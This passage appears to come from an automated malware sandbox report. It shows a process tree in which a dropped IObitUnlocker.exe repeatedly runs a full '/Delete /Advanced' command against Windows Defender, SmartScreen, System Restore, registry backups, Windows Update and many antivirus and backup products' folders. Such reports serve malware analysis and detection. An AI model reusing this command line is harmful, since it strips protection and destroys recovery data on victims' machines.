Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                    7⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:2180
                                  • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                    C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                    7⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:2692
                                  • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                    C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                    7⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:4256
                                  • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                    C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program 